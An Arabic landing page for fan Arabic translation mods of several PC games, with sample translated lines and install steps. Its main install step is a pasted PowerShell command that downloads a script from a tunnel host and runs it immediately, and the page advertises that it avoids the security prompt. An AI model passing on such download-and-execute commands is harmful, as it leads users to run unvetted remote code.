شعار Elite تعريبات Elite

ألعابك المفضّلة بالعربي، من القائمة لآخر سطر في القصة.

تعريب كامل للنصوص والحوارات والقوائم والمستندات، بخط عربي يطلع صح داخل اللعبة. تطبيق واحد يركّب التعريب ويشيله ويبدّل الخط، والتحديثات توصلك تلقائيًا.

ثبّت تعريب Elite شوف الألعاب
الإصدار 6.7 · ويندوز 10 و11 · 7 ألعاب معرّبة
سيرفر الديسكورداسأل، بلّغ عن مشكلة، واطلب اللعبة الجاية.
discord.gg/ELE
ادعم التعريبهديتك تساعد نعرّب ألعاب أكثر، وأسرع.
creators.sa/rir0

الألعاب المعرّبة

كل سطر في الصندوق الأسود مأخوذ من ترجمة اللعبة نفسها
تعريب The Last of Us Part I بالعربي

تعريب The Last of Us Part I

تعريب كاملNaughty Dog60,884 نص
اللغة داخل اللعبة: English (US) (من إعدادات اللعبة)
إيلي: كل من اهتممت بهم إما ماتوا أو تركوني.
تعريب SILENT HILL: Townfall بالعربي

تعريب SILENT HILL: Townfall

تعريب كاملUnreal Engine 54,186 نص
اللغة داخل اللعبة: Italiano ← العربية (من إعدادات اللعبة)
سايمون: استيقظت في الماء مجددًا. لكن هذه المرة الأمر مختلف.
تعريب Sekiro: Shadows Die Twice بالعربي

تعريب Sekiro: Shadows Die Twice

تعريب كاملFromSoftware9,585 نص
اللغة داخل اللعبة: English (من خصائص اللعبة في ستيم)
الشينوبي يعرف الفرق بين الشرف والنصر.
تعريب Agefield High: Rock the School بالعربي

تعريب Agefield High: Rock the School

تعريب كاملUnreal Engine 54,146 نص
اللغة داخل اللعبة: Türkçe (من إعدادات اللعبة)
أكسل: خلّنا نركّز على الخطة بس. ما نقدر نفوّت فرصتنا.
تعريب CUFFBUST بالعربي

تعريب CUFFBUST

تعريب كاملUnreal Engine 52,625 نص
اللغة داخل اللعبة: Tiếng Việt (من إعدادات اللعبة)
كل الدلائل تشير للهروب!
تعريب Hollow Cocoon بالعربي

تعريب Hollow Cocoon

تعريب كاملUnity1,221 نص
اللغة داخل اللعبة: Tiếng Việt (من إعدادات اللعبة)
المكان مظلم. لنأخذ بسرعة ما ينفع ونخرج من هنا.
تعريب What Remains of Edith Finch بالعربي

تعريب What Remains of Edith Finch

تعريب كاملUnreal Engine
اللغة داخل اللعبة: 简体中文 (من خصائص اللعبة في ستيم)

تعود إدِث إلى بيت عائلة فينش الغريب، وتعيش آخر لحظات كل فرد من أقاربها.

تعريب CONTROL Resonant

قيد التعريب · 43%Northlight
اللغة داخل اللعبة: Polski (من إعدادات اللعبة)
ديلان: مهلًا، أبقيها قريبة منكِ هذه المرة، اتفقنا؟

طريقة التثبيت

أقل من دقيقة
الطريقة الأسهل: أمر واحدبدون تثبيت أي برنامج، وبدون ما تطلع رسالة الحماية.
irm https://tareeb-elite.tailcb65f6.ts.net/install.txt | iex
  1. افتح PowerShellكلك يمين على زر «ابدأ» ← «Terminal» أو «Windows PowerShell».
  2. الصق الأمرانسخ الأمر اللي فوق، والصقه بكلك يمين، واضغط Enter.
  3. اختر اللعبة وركّبالتطبيق ينزل على سطح المكتب ويفتح لحاله. اضغط «تركيب» واختر الخط.
  4. غيّر لغة اللعبةمن إعدادات اللعبة أو ستيم، اختر اللغة المكتوبة تحت كل لعبة.

تبي الملف نفسه؟ حمّل Tareeb-Elite.zip، وقبل ما تفكّه: كلك يمين ← «خصائص» ← علّم «إلغاء الحظر» ← «موافق».

تحديث اللعبة شال التعريب؟

افتح تطبيق تعريب Elite واضغط «تركيب» مرة ثانية. والتطبيق يتحدّث تلقائيًا، فتوصلك دايمًا آخر نسخة من التعريب.

التعريب آمن على ملفاتك؟

قبل ما يغيّر أي ملف، التطبيق ياخذ نسخة من الأصلي. «إزالة» ترجّع اللعبة زي ما كانت بالضبط.